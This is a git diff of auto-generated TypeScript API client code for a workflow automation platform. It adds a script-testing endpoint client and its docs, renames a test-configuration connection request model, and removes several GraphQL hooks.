-    workflowId: $workflowId
-    workflowNodeName: $workflowNodeName
-    workflowConnectionKey: $workflowConnectionKey
-    connectionId: $connectionId
-    environmentId: $environmentId
-  )
-}
-    `;
-
-export const useSaveWorkflowTestConfigurationConnectionMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<SaveWorkflowTestConfigurationConnectionMutation, TError, SaveWorkflowTestConfigurationConnectionMutationVariables, TContext>) => {
-    
-    return useMutation<SaveWorkflowTestConfigurationConnectionMutation, TError, SaveWorkflowTestConfigurationConnectionMutationVariables, TContext>(
-      {
-    mutationKey: ['saveWorkflowTestConfigurationConnection'],
-    mutationFn: (variables?: SaveWorkflowTestConfigurationConnectionMutationVariables) => fetcher<SaveWorkflowTestConfigurationConnectionMutation, SaveWorkflowTestConfigurationConnectionMutationVariables>(SaveWorkflowTestConfigurationConnectionDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const TestClusterElementScriptDocument = `
-    mutation testClusterElementScript($workflowId: String!, $workflowNodeName: String!, $clusterElementType: String!, $clusterElementWorkflowNodeName: String!, $environmentId: Long!, $inputParameters: Map) {
-  testClusterElementScript(
-    workflowId: $workflowId
-    workflowNodeName: $workflowNodeName
-    clusterElementType: $clusterElementType
-    clusterElementWorkflowNodeName: $clusterElementWorkflowNodeName
-    environmentId: $environmentId
-    inputParameters: $inputParameters
-  ) {
-    error {
-      message
-      stackTrace
-    }
-    output
-  }
-}
-    `;
-
-export const useTestClusterElementScriptMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<TestClusterElementScriptMutation, TError, TestClusterElementScriptMutationVariables, TContext>) => {
-    
-    return useMutation<TestClusterElementScriptMutation, TError, TestClusterElementScriptMutationVariables, TContext>(
-      {
-    mutationKey: ['testClusterElementScript'],
-    mutationFn: (variables?: TestClusterElementScriptMutationVariables) => fetcher<TestClusterElementScriptMutation, TestClusterElementScriptMutationVariables>(TestClusterElementScriptDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const TestWorkflowNodeScriptDocument = `
-    mutation testWorkflowNodeScript($workflowId: String!, $workflowNodeName: String!, $environmentId: Long!, $inputParameters: Map) {
-  testWorkflowNodeScript(
-    workflowId: $workflowId
-    workflowNodeName: $workflowNodeName
-    environmentId: $environmentId
-    inputParameters: $inputParameters
-  ) {
-    error {
-      message
-      stackTrace
-    }
-    output
-  }
-}
-    `;
-
-export const useTestWorkflowNodeScriptMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<TestWorkflowNodeScriptMutation, TError, TestWorkflowNodeScriptMutationVariables, TContext>) => {
-    
-    return useMutation<TestWorkflowNodeScriptMutation, TError, TestWorkflowNodeScriptMutationVariables, TContext>(
-      {
-    mutationKey: ['testWorkflowNodeScript'],
-    mutationFn: (variables?: TestWorkflowNodeScriptMutationVariables) => fetcher<TestWorkflowNodeScriptMutation, TestWorkflowNodeScriptMutationVariables>(TestWorkflowNodeScriptDocument, variables)(),
-    ...options
-  }
-    )};
-
 export const UpdateApiKeyDocument = `
     mutation updateApiKey($id: ID!, $name: String!) {
   updateApiKey(id: $id, name: $name)
@@ -6612,206 +3452,6 @@ export const useUpdateMcpServerUrlMutation = <
   }
     )};
 
-export const WorkflowNodeComponentConnectionsDocument = `
-    query workflowNodeComponentConnections($workflowId: String!, $workflowNodeName: String!) {
-  workflowNodeComponentConnections(
-    workflowId: $workflowId
-    workflowNodeName: $workflowNodeName
-  ) {
-    componentName
-    componentVersion
-    key
-    required
-    workflowNodeName
-  }
-}
-    `;
-
-export const useWorkflowNodeComponentConnectionsQuery = <
-      TData = WorkflowNodeComponentConnectionsQuery,
-      TError = unknown
-    >(
-      variables: WorkflowNodeComponentConnectionsQueryVariables,
-      options?: Omit<UseQueryOptions<WorkflowNodeComponentConnectionsQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<WorkflowNodeComponentConnectionsQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<WorkflowNodeComponentConnectionsQuery, TError, TData>(
-      {
-    queryKey: ['workflowNodeComponentConnections', variables],
-    queryFn: fetcher<WorkflowNodeComponentConnectionsQuery, WorkflowNodeComponentConnectionsQueryVariables>(WorkflowNodeComponentConnectionsDocument, variables),
-    ...options
-  }
-    )};
-
-export const WorkflowNodeScriptInputDocument = `
-    query workflowNodeScriptInput($workflowId: String!, $workflowNodeName: String!, $environmentId: Long!) {
-  workflowNodeScriptInput(
-    workflowId: $workflowId
-    workflowNodeName: $workflowNodeName
-    environmentId: $environmentId
-  )
-}
-    `;
-
-export const useWorkflowNodeScriptInputQuery = <
-      TData = WorkflowNodeScriptInputQuery,
-      TError = unknown
-    >(
-      variables: WorkflowNodeScriptInputQueryVariables,
-      options?: Omit<UseQueryOptions<WorkflowNodeScriptInputQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<WorkflowNodeScriptInputQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<WorkflowNodeScriptInputQuery, TError, TData>(
-      {
-    queryKey: ['workflowNodeScriptInput', variables],
-    queryFn: fetcher<WorkflowNodeScriptInputQuery, WorkflowNodeScriptInputQueryVariables>(WorkflowNodeScriptInputDocument, variables),
-    ...options
-  }
-    )};
-
-export const CustomComponentDocument = `
-    query customComponent($id: ID!) {
-  customComponent(id: $id) {
-    id
-    name
-    title
-    description
-    icon
-    componentVersion
-    enabled
-    language
-    createdBy
-    createdDate
-    lastModifiedBy
-    lastModifiedDate
-    version
-  }
-}
-    `;
-
-export const useCustomComponentQuery = <
-      TData = CustomComponentQuery,
-      TError = unknown
-    >(
-      variables: CustomComponentQueryVariables,
-      options?: Omit<UseQueryOptions<CustomComponentQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<CustomComponentQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<CustomComponentQuery, TError, TData>(
-      {
-    queryKey: ['customComponent', variables],
-    queryFn: fetcher<CustomComponentQuery, CustomComponentQueryVariables>(CustomComponentDocument, variables),
-    ...options
-  }
-    )};
-
-export const CustomComponentDefinitionDocument = `
-    query customComponentDefinition($id: ID!) {
-  customComponentDefinition(id: $id) {
-    actions {
-      name
-      title
-      description
-    }
-    triggers {
-      name
-      title
-      description
-    }
-  }
-}
-    `;
-
-export const useCustomComponentDefinitionQuery = <
-      TData = CustomComponentDefinitionQuery,
-      TError = unknown
-    >(
-      variables: CustomComponentDefinitionQueryVariables,
-      options?: Omit<UseQueryOptions<CustomComponentDefinitionQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<CustomComponentDefinitionQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<CustomComponentDefinitionQuery, TError, TData>(
-      {
-    queryKey: ['customComponentDefinition', variables],
-    queryFn: fetcher<CustomComponentDefinitionQuery, CustomComponentDefinitionQueryVariables>(CustomComponentDefinitionDocument, variables),
-    ...options
-  }
-    )};
-
-export const CustomComponentsDocument = `
-    query customComponents {
-  customComponents {
-    id
-    name
-    title
-    description
-    icon
-    componentVersion
-    enabled
-    language
-    createdBy
-    createdDate
-    lastModifiedBy
-    lastModifiedDate
-    version
-  }
-}
-    `;
-
-export const useCustomComponentsQuery = <
-      TData = CustomComponentsQuery,
-      TError = unknown
-    >(
-      variables?: CustomComponentsQueryVariables,
-      options?: Omit<UseQueryOptions<CustomComponentsQuery, TError, TData>, 'queryKey'> & { queryKey?: UseQueryOptions<CustomComponentsQuery, TError, TData>['queryKey'] }
-    ) => {
-    
-    return useQuery<CustomComponentsQuery, TError, TData>(
-      {
-    queryKey: variables === undefined ? ['customComponents'] : ['customComponents', variables],
-    queryFn: fetcher<CustomComponentsQuery, CustomComponentsQueryVariables>(CustomComponentsDocument, variables),
-    ...options
-  }
-    )};
-
-export const DeleteCustomComponentDocument = `
-    mutation deleteCustomComponent($id: ID!) {
-  deleteCustomComponent(id: $id)
-}
-    `;
-
-export const useDeleteCustomComponentMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<DeleteCustomComponentMutation, TError, DeleteCustomComponentMutationVariables, TContext>) => {
-    
-    return useMutation<DeleteCustomComponentMutation, TError, DeleteCustomComponentMutationVariables, TContext>(
-      {
-    mutationKey: ['deleteCustomComponent'],
-    mutationFn: (variables?: DeleteCustomComponentMutationVariables) => fetcher<DeleteCustomComponentMutation, DeleteCustomComponentMutationVariables>(DeleteCustomComponentDocument, variables)(),
-    ...options
-  }
-    )};
-
-export const EnableCustomComponentDocument = `
-    mutation enableCustomComponent($id: ID!, $enable: Boolean!) {
-  enableCustomComponent(id: $id, enable: $enable)
-}
-    `;
-
-export const useEnableCustomComponentMutation = <
-      TError = unknown,
-      TContext = unknown
-    >(options?: UseMutationOptions<EnableCustomComponentMutation, TError, EnableCustomComponentMutationVariables, TContext>) => {
-    
-    return useMutation<EnableCustomComponentMutation, TError, EnableCustomComponentMutationVariables, TContext>(
-      {
-    mutationKey: ['enableCustomComponent'],
-    mutationFn: (variables?: EnableCustomComponentMutationVariables) => fetcher<EnableCustomComponentMutation, EnableCustomComponentMutationVariables>(EnableCustomComponentDocument, variables)(),
-    ...options
-  }
-    )};
-
 export const AuthoritiesDocument = `
     query authorities {
   authorities
diff --git a/client/src/shared/middleware/platform/configuration/.openapi-generator/FILES b/client/src/shared/middleware/platform/configuration/.openapi-generator/FILES
index 38150abf2b2..fbc68010274 100644
--- a/client/src/shared/middleware/platform/configuration/.openapi-generator/FILES
+++ b/client/src/shared/middleware/platform/configuration/.openapi-generator/FILES
@@ -12,6 +12,7 @@ apis/WorkflowNodeDynamicPropertiesApi.ts
 apis/WorkflowNodeOptionApi.ts
 apis/WorkflowNodeOutputApi.ts
 apis/WorkflowNodeParameterApi.ts
+apis/WorkflowNodeScriptApi.ts
 apis/WorkflowNodeTestOutputApi.ts
 apis/WorkflowTestConfigurationApi.ts
 apis/index.ts
@@ -41,7 +42,6 @@ docs/DateProperty.md
 docs/DateTimeProperty.md
 docs/DeleteClusterElementParameter200Response.md
 docs/DeleteClusterElementParameterRequest.md
-docs/DeleteWorkflowTestConfigurationConnectionRequest.md
 docs/DynamicPropertiesProperty.md
 docs/Environment.md
 docs/EnvironmentApi.md
@@ -66,6 +66,7 @@ docs/PropertiesDataSource.md
 docs/Property.md
 docs/PropertyType.md
 docs/Resources.md
+docs/SaveWorkflowTestConfigurationConnectionRequest.md
 docs/SaveWorkflowTestConfigurationInputsRequest.md
 docs/ScriptTestExecution.md
 docs/StringProperty.md
@@ -97,6 +98,7 @@ docs/WorkflowNodeOptionApi.md
 docs/WorkflowNodeOutput.md
 docs/WorkflowNodeOutputApi.md
 docs/WorkflowNodeParameterApi.md
+docs/WorkflowNodeScriptApi.md
 docs/WorkflowNodeTestOutput.md
 docs/WorkflowNodeTestOutputApi.md
 docs/WorkflowOutput.md
@@ -128,7 +130,6 @@ models/DateProperty.ts
 models/DateTimeProperty.ts
 models/DeleteClusterElementParameter200Response.ts
 models/DeleteClusterElementParameterRequest.ts
-models/DeleteWorkflowTestConfigurationConnectionRequest.ts
 models/DynamicPropertiesProperty.ts
 models/Environment.ts
 models/ExecutionError.ts
@@ -151,6 +152,7 @@ models/PropertiesDataSource.ts
 models/Property.ts
 models/PropertyType.ts
 models/Resources.ts
+models/SaveWorkflowTestConfigurationConnectionRequest.ts
 models/SaveWorkflowTestConfigurationInputsRequest.ts
 models/ScriptTestExecution.ts
 models/StringProperty.ts
diff --git a/client/src/shared/middleware/platform/configuration/.openapi-generator/VERSION b/client/src/shared/middleware/platform/configuration/.openapi-generator/VERSION
index 3821090fd4e..1b2d969d190 100644
--- a/client/src/shared/middleware/platform/configuration/.openapi-generator/VERSION
+++ b/client/src/shared/middleware/platform/configuration/.openapi-generator/VERSION
@@ -1 +1 @@
-7.19.0
+7.18.0
diff --git a/client/src/shared/middleware/platform/configuration/apis/WorkflowNodeScriptApi.ts b/client/src/shared/middleware/platform/configuration/apis/WorkflowNodeScriptApi.ts
new file mode 100644
index 00000000000..23a2515bee6
--- /dev/null
+++ b/client/src/shared/middleware/platform/configuration/apis/WorkflowNodeScriptApi.ts
@@ -0,0 +1,94 @@
+/* tslint:disable */
+/* eslint-disable */
+/**
+ * The Platform Configuration Internal API
+ * No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
+ *
+ * The version of the OpenAPI document: 1
+ * 
+ *
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
+ * https://openapi-generator.tech
+ * Do not edit the class manually.
+ */
+
+
+import * as runtime from '../runtime';
+import type {
+  ScriptTestExecution,
+} from '../models/index';
+import {
+    ScriptTestExecutionFromJSON,
+    ScriptTestExecutionToJSON,
+} from '../models/index';
+
+export interface TestWorkflowNodeScriptRequest {
+    id: string;
+    workflowNodeName: string;
+    environmentId: number;
+}
+
+/**
+ * 
+ */
+export class WorkflowNodeScriptApi extends runtime.BaseAPI {
+
+    /**
+     * Execute a script for testing purposes.
+     * Execute a script for testing purposes
+     */
+    async testWorkflowNodeScriptRaw(requestParameters: TestWorkflowNodeScriptRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<runtime.ApiResponse<ScriptTestExecution>> {
+        if (requestParameters['id'] == null) {
+            throw new runtime.RequiredError(
+                'id',
+                'Required parameter "id" was null or undefined when calling testWorkflowNodeScript().'
+            );
+        }
+
+        if (requestParameters['workflowNodeName'] == null) {
+            throw new runtime.RequiredError(
+                'workflowNodeName',
+                'Required parameter "workflowNodeName" was null or undefined when calling testWorkflowNodeScript().'
+            );
+        }
+
+        if (requestParameters['environmentId'] == null) {
+            throw new runtime.RequiredError(
+                'environmentId',
+                'Required parameter "environmentId" was null or undefined when calling testWorkflowNodeScript().'
+            );
+        }
+
+        const queryParameters: any = {};
+
+        if (requestParameters['environmentId'] != null) {
+            queryParameters['environmentId'] = requestParameters['environmentId'];
+        }
+
+        const headerParameters: runtime.HTTPHeaders = {};
+
+
+        let urlPath = `/workflows/{id}/workflow-nodes/{workflowNodeName}/scripts`;
+        urlPath = urlPath.replace(`{${"id"}}`, encodeURIComponent(String(requestParameters['id'])));
+        urlPath = urlPath.replace(`{${"workflowNodeName"}}`, encodeURIComponent(String(requestParameters['workflowNodeName'])));
+
+        const response = await this.request({
+            path: urlPath,
+            method: 'POST',
+            headers: headerParameters,
+            query: queryParameters,
+        }, initOverrides);
+
+        return new runtime.JSONApiResponse(response, (jsonValue) => ScriptTestExecutionFromJSON(jsonValue));
+    }
+
+    /**
+     * Execute a script for testing purposes.
+     * Execute a script for testing purposes
+     */
+    async testWorkflowNodeScript(requestParameters: TestWorkflowNodeScriptRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<ScriptTestExecution> {
+        const response = await this.testWorkflowNodeScriptRaw(requestParameters, initOverrides);
+        return await response.value();
+    }
+
+}
diff --git a/client/src/shared/middleware/platform/configuration/apis/WorkflowTestConfigurationApi.ts b/client/src/shared/middleware/platform/configuration/apis/WorkflowTestConfigurationApi.ts
index e2cf2b28a99..246601c789e 100644
--- a/client/src/shared/middleware/platform/configuration/apis/WorkflowTestConfigurationApi.ts
+++ b/client/src/shared/middleware/platform/configuration/apis/WorkflowTestConfigurationApi.ts
@@ -15,14 +15,14 @@
 
 import * as runtime from '../runtime';
 import type {
-  DeleteWorkflowTestConfigurationConnectionRequest,
+  SaveWorkflowTestConfigurationConnectionRequest,
   SaveWorkflowTestConfigurationInputsRequest,
   WorkflowTestConfiguration,
   WorkflowTestConfigurationConnection,
 } from '../models/index';
 import {
-    DeleteWorkflowTestConfigurationConnectionRequestFromJSON,
-    DeleteWorkflowTestConfigurationConnectionRequestToJSON,
+    SaveWorkflowTestConfigurationConnectionRequestFromJSON,
+    SaveWorkflowTestConfigurationConnectionRequestToJSON,
     SaveWorkflowTestConfigurationInputsRequestFromJSON,
     SaveWorkflowTestConfigurationInputsRequestToJSON,
     WorkflowTestConfigurationFromJSON,
@@ -31,12 +31,12 @@ import {
     WorkflowTestConfigurationConnectionToJSON,
 } from '../models/index';
 
-export interface DeleteWorkflowTestConfigurationConnectionOperationRequest {
+export interface DeleteWorkflowTestConfigurationConnectionRequest {
     workflowId: string;
     workflowNodeName: string;
     workflowConnectionKey: string;
     environmentId: number;
-    deleteWorkflowTestConfigurationConnectionRequest: DeleteWorkflowTestConfigurationConnectionRequest;
+    saveWorkflowTestConfigurationConnectionRequest: SaveWorkflowTestConfigurationConnectionRequest;
 }
 
 export interface GetWorkflowTestConfigurationRequest {
@@ -55,6 +55,14 @@ export interface SaveWorkflowTestConfigurationRequest {
     workflowTestConfiguration: Omit<WorkflowTestConfiguration, 'createdBy'|'createdDate'|'lastModifiedBy'|'lastModifiedDate'|'workflowId'>;
 }
 
+export interface SaveWorkflowTestConfigurationConnectionOperationRequest {
+    workflowId: string;
+    workflowNodeName: string;
+    workflowConnectionKey: string;
+    environmentId: number;
+    saveWorkflowTestConfigurationConnectionRequest: SaveWorkflowTestConfigurationConnectionRequest;
+}
+
 export interface SaveWorkflowTestConfigurationInputsOperationRequest {
     workflowId: string;
     environmentId: number;
@@ -70,7 +78,7 @@ export class WorkflowTestConfigurationApi extends runtime.BaseAPI {
      * Delete a workflow test configuration connection.
      * Delete a workflow test configuration connection
      */
-    async deleteWorkflowTestConfigurationConnectionRaw(requestParameters: DeleteWorkflowTestConfigurationConnectionOperationRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<runtime.ApiResponse<void>> {
+    async deleteWorkflowTestConfigurationConnectionRaw(requestParameters: DeleteWorkflowTestConfigurationConnectionRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<runtime.ApiResponse<void>> {
         if (requestParameters['workflowId'] == null) {
             throw new runtime.RequiredError(
                 'workflowId',
@@ -99,10 +107,10 @@ export class WorkflowTestConfigurationApi extends runtime.BaseAPI {
             );
         }
 
-        if (requestParameters['deleteWorkflowTestConfigurationConnectionRequest'] == null) {
+        if (requestParameters['saveWorkflowTestConfigurationConnectionRequest'] == null) {
             throw new runtime.RequiredError(
-                'deleteWorkflowTestConfigurationConnectionRequest',
-                'Required parameter "deleteWorkflowTestConfigurationConnectionRequest" was null or undefined when calling deleteWorkflowTestConfigurationConnection().'
+                'saveWorkflowTestConfigurationConnectionRequest',
+                'Required parameter "saveWorkflowTestConfigurationConnectionRequest" was null or undefined when calling deleteWorkflowTestConfigurationConnection().'
             );
         }
 
@@ -127,7 +135,7 @@ export class WorkflowTestConfigurationApi extends runtime.BaseAPI {
             method: 'DELETE',
             headers: headerParameters,
             query: queryParameters,
-            body: DeleteWorkflowTestConfigurationConnectionRequestToJSON(requestParameters['deleteWorkflowTestConfigurationConnectionRequest']),
+            body: SaveWorkflowTestConfigurationConnectionRequestToJSON(requestParameters['saveWorkflowTestConfigurationConnectionRequest']),
         }, initOverrides);
 
         return new runtime.VoidApiResponse(response);
@@ -137,7 +145,7 @@ export class WorkflowTestConfigurationApi extends runtime.BaseAPI {
      * Delete a workflow test configuration connection.
      * Delete a workflow test configuration connection
      */
-    async deleteWorkflowTestConfigurationConnection(requestParameters: DeleteWorkflowTestConfigurationConnectionOperationRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<void> {
+    async deleteWorkflowTestConfigurationConnection(requestParameters: DeleteWorkflowTestConfigurationConnectionRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<void> {
         await this.deleteWorkflowTestConfigurationConnectionRaw(requestParameters, initOverrides);
     }
 
@@ -298,6 +306,81 @@ export class WorkflowTestConfigurationApi extends runtime.BaseAPI {
         return await response.value();
     }
 
+    /**
+     * Save a workflow test configuration connection.
+     * Save a workflow test configuration connection
+     */
+    async saveWorkflowTestConfigurationConnectionRaw(requestParameters: SaveWorkflowTestConfigurationConnectionOperationRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<runtime.ApiResponse<void>> {
+        if (requestParameters['workflowId'] == null) {
+            throw new runtime.RequiredError(
+                'workflowId',
+                'Required parameter "workflowId" was null or undefined when calling saveWorkflowTestConfigurationConnection().'
+            );
+        }
+
+        if (requestParameters['workflowNodeName'] == null) {
+            throw new runtime.RequiredError(
+                'workflowNodeName',
+                'Required parameter "workflowNodeName" was null or undefined when calling saveWorkflowTestConfigurationConnection().'
+            );
+        }
+
+        if (requestParameters['workflowConnectionKey'] == null) {
+            throw new runtime.RequiredError(
+                'workflowConnectionKey',
+                'Required parameter "workflowConnectionKey" was null or undefined when calling saveWorkflowTestConfigurationConnection().'
+            );
+        }
+
+        if (requestParameters['environmentId'] == null) {
+            throw new runtime.RequiredError(
+                'environmentId',
+                'Required parameter "environmentId" was null or undefined when calling saveWorkflowTestConfigurationConnection().'
+            );
+        }
+
+        if (requestParameters['saveWorkflowTestConfigurationConnectionRequest'] == null) {
+            throw new runtime.RequiredError(
+                'saveWorkflowTestConfigurationConnectionRequest',
+                'Required parameter "saveWorkflowTestConfigurationConnectionRequest" was null or undefined when calling saveWorkflowTestConfigurationConnection().'
+            );
+        }
+
+        const queryParameters: any = {};
+
+        if (requestParameters['environmentId'] != null) {
+            queryParameters['environmentId'] = requestParameters['environmentId'];
+        }
+
+        const headerParameters: runtime.HTTPHeaders = {};
+
+        headerParameters['Content-Type'] = 'application/json';
+
+
+        let urlPath = `/workflow-test-configurations/{workflowId}/workflow-nodes/{workflowNodeName}/{workflowConnectionKey}/connections`;
+        urlPath = urlPath.replace(`{${"workflowId"}}`, encodeURIComponent(String(requestParameters['workflowId'])));
+        urlPath = urlPath.replace(`{${"workflowNodeName"}}`, encodeURIComponent(String(requestParameters['workflowNodeName'])));
+        urlPath = urlPath.replace(`{${"workflowConnectionKey"}}`, encodeURIComponent(String(requestParameters['workflowConnectionKey'])));
+
+        const response = await this.request({
+            path: urlPath,
+            method: 'PUT',
+            headers: headerParameters,
+            query: queryParameters,
+            body: SaveWorkflowTestConfigurationConnectionRequestToJSON(requestParameters['saveWorkflowTestConfigurationConnectionRequest']),
+        }, initOverrides);
+
+        return new runtime.VoidApiResponse(response);
+    }
+
+    /**
+     * Save a workflow test configuration connection.
+     * Save a workflow test configuration connection
+     */
+    async saveWorkflowTestConfigurationConnection(requestParameters: SaveWorkflowTestConfigurationConnectionOperationRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<void> {
+        await this.saveWorkflowTestConfigurationConnectionRaw(requestParameters, initOverrides);
+    }
+
     /**
      * Save a workflow test configuration inputs.
      * Save a workflow test configuration inputs
diff --git a/client/src/shared/middleware/platform/configuration/apis/index.ts b/client/src/shared/middleware/platform/configuration/apis/index.ts
index d264e14ec07..799ddd48252 100644
--- a/client/src/shared/middleware/platform/configuration/apis/index.ts
+++ b/client/src/shared/middleware/platform/configuration/apis/index.ts
@@ -14,5 +14,6 @@ export * from './WorkflowNodeDynamicPropertiesApi';
 export * from './WorkflowNodeOptionApi';
 export * from './WorkflowNodeOutputApi';
 export * from './WorkflowNodeParameterApi';
+export * from './WorkflowNodeScriptApi';
 export * from './WorkflowNodeTestOutputApi';
 export * from './WorkflowTestConfigurationApi';
diff --git a/client/src/shared/middleware/platform/configuration/docs/ActionDefinition.md b/client/src/shared/middleware/platform/configuration/docs/ActionDefinition.md
index 8ba71d092e9..cb7f046d64a 100644
--- a/client/src/shared/middleware/platform/configuration/docs/ActionDefinition.md
+++ b/client/src/shared/middleware/platform/configuration/docs/ActionDefinition.md
@@ -16,7 +16,6 @@ Name | Type
 `outputFunctionDefined` | boolean
 `outputSchemaDefined` | boolean
 `properties` | [Array&lt;Property&gt;](Property.md)
-`sseStreamResponse` | boolean
 `title` | string
 `workflowNodeDescriptionDefined` | boolean
 
@@ -36,7 +35,6 @@ const example = {
   "outputFunctionDefined": null,
   "outputSchemaDefined": null,
   "properties": null,
-  "sseStreamResponse": null,
   "title": null,
   "workflowNodeDescriptionDefined": null,
 } satisfies ActionDefinition
diff --git a/client/src/shared/middleware/platform/configuration/docs/ActionDefinitionBasic.md b/client/src/shared/middleware/platform/configuration/docs/ActionDefinitionBasic.md
index a14b22db844..be0fec66fbe 100644
--- a/client/src/shared/middleware/platform/configuration/docs/ActionDefinitionBasic.md
+++ b/client/src/shared/middleware/platform/configuration/docs/ActionDefinitionBasic.md
@@ -15,7 +15,6 @@ Name | Type
 `outputDefined` | boolean
 `outputFunctionDefined` | boolean
 `outputSchemaDefined` | boolean
-`sseStreamResponse` | boolean
 `title` | string
 
 ## Example
@@ -33,7 +32,6 @@ const example = {
   "outputDefined": null,
   "outputFunctionDefined": null,
   "outputSchemaDefined": null,
-  "sseStreamResponse": null,
   "title": null,
 } satisfies ActionDefinitionBasic
 
diff --git a/client/src/shared/middleware/platform/configuration/docs/DeleteWorkflowTestConfigurationConnectionRequest.md b/client/src/shared/middleware/platform/configuration/docs/DeleteWorkflowTestConfigurationConnectionRequest.md
deleted file mode 100644
index fe26f7cac9f..00000000000
--- a/client/src/shared/middleware/platform/configuration/docs/DeleteWorkflowTestConfigurationConnectionRequest.md
+++ /dev/null
@@ -1,34 +0,0 @@
-
-# DeleteWorkflowTestConfigurationConnectionRequest
-
-
-## Properties
-
-Name | Type
------------- | -------------
-`connectionId` | number
-
-## Example
-
-```typescript
-import type { DeleteWorkflowTestConfigurationConnectionRequest } from ''
-
-// TODO: Update the object below with actual values
-const example = {
-  "connectionId": null,
-} satisfies DeleteWorkflowTestConfigurationConnectionRequest
-
-console.log(example)
-
-// Convert the instance to a JSON string
-const exampleJSON: string = JSON.stringify(example)
-console.log(exampleJSON)
-
-// Parse the JSON string back to an object
-const exampleParsed = JSON.parse(exampleJSON) as DeleteWorkflowTestConfigurationConnectionRequest
-console.log(exampleParsed)
-```
-
-[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
-
-
diff --git a/client/src/shared/middleware/platform/configuration/docs/SaveWorkflowTestConfigurationConnectionRequest.md b/client/src/shared/middleware/platform/configuration/docs/SaveWorkflowTestConfigurationConnectionRequest.md
new file mode 100644
index 00000000000..6581b11e3ab
--- /dev/null
+++ b/client/src/shared/middleware/platform/configuration/docs/SaveWorkflowTestConfigurationConnectionRequest.md
@@ -0,0 +1,34 @@
+
+# SaveWorkflowTestConfigurationConnectionRequest
+
+
+## Properties
+
+Name | Type
+------------ | -------------
+`connectionId` | number
+
+## Example
+
+```typescript
+import type { SaveWorkflowTestConfigurationConnectionRequest } from ''
+
+// TODO: Update the object below with actual values
+const example = {
+  "connectionId": null,
+} satisfies SaveWorkflowTestConfigurationConnectionRequest
+
+console.log(example)
+
+// Convert the instance to a JSON string
+const exampleJSON: string = JSON.stringify(example)
+console.log(exampleJSON)
+
+// Parse the JSON string back to an object
+const exampleParsed = JSON.parse(exampleJSON) as SaveWorkflowTestConfigurationConnectionRequest
+console.log(exampleParsed)
+```
+
+[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
+
+
diff --git a/client/src/shared/middleware/platform/configuration/docs/WorkflowNodeScriptApi.md b/client/src/shared/middleware/platform/configuration/docs/WorkflowNodeScriptApi.md
new file mode 100644
index 00000000000..3f177e91eea
--- /dev/null
+++ b/client/src/shared/middleware/platform/configuration/docs/WorkflowNodeScriptApi.md
@@ -0,0 +1,82 @@
+# WorkflowNodeScriptApi
+
+All URIs are relative to */api/platform/internal*
+
+| Method | HTTP request | Description |
+|------------- | ------------- | -------------|
+| [**testWorkflowNodeScript**](WorkflowNodeScriptApi.md#testworkflownodescript) | **POST** /workflows/{id}/workflow-nodes/{workflowNodeName}/scripts | Execute a script for testing purposes |
+
+
+
+## testWorkflowNodeScript
+
+> ScriptTestExecution testWorkflowNodeScript(id, workflowNodeName, environmentId)
+
+Execute a script for testing purposes
+
+Execute a script for testing purposes.
+
+### Example
+
+```ts
+import {
+  Configuration,
+  WorkflowNodeScriptApi,
+} from '';
+import type { TestWorkflowNodeScriptRequest } from '';
+
+async function example() {
+  console.log("🚀 Testing  SDK...");
+  const api = new WorkflowNodeScriptApi();
+
+  const body = {
+    // string | The id of a workflow.
+    id: id_example,
+    // string | The name of a workflow node which uses the script component.
+    workflowNodeName: workflowNodeName_example,
+    // number | The id of an environment.
+    environmentId: 789,
+  } satisfies TestWorkflowNodeScriptRequest;
+
+  try {
+    const data = await api.testWorkflowNodeScript(body);
+    console.log(data);
+  } catch (error) {
+    console.error(error);
+  }
+}
+
+// Run the test
+example().catch(console.error);
+```
+
+### Parameters
+
+
+| Name | Type | Description  | Notes |
+|------------- | ------------- | ------------- | -------------|
+| **id** | `string` | The id of a workflow. | [Defaults to `undefined`] |
+| **workflowNodeName** | `string` | The name of a workflow node which uses the script component. | [Defaults to `undefined`] |
+| **environmentId** | `number` | The id of an environment. | [Defaults to `undefined`] |
+
+### Return type
+
+[**ScriptTestExecution**](ScriptTestExecution.md)
+
+### Authorization
+
+No authorization required
+
+### HTTP request headers
+
+- **Content-Type**: Not defined
+- **Accept**: `application/json`
+
+
+### HTTP response details
+| Status code | Description | Response headers |
+|-------------|-------------|------------------|
+| **200** | The script test execution object. |  -  |
+
+[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
+
diff --git a/client/src/shared/middleware/platform/configuration/docs/WorkflowTestConfigurationApi.md b/client/src/shared/middleware/platform/configuration/docs/WorkflowTestConfigurationApi.md
index 4c62339160d..b1a28e0ebbf 100644
--- a/client/src/shared/middleware/platform/configuration/docs/WorkflowTestConfigurationApi.md
+++ b/client/src/shared/middleware/platform/configuration/docs/WorkflowTestConfigurationApi.md
@@ -4,17 +4,18 @@ All URIs are relative to */api/platform/internal*
 
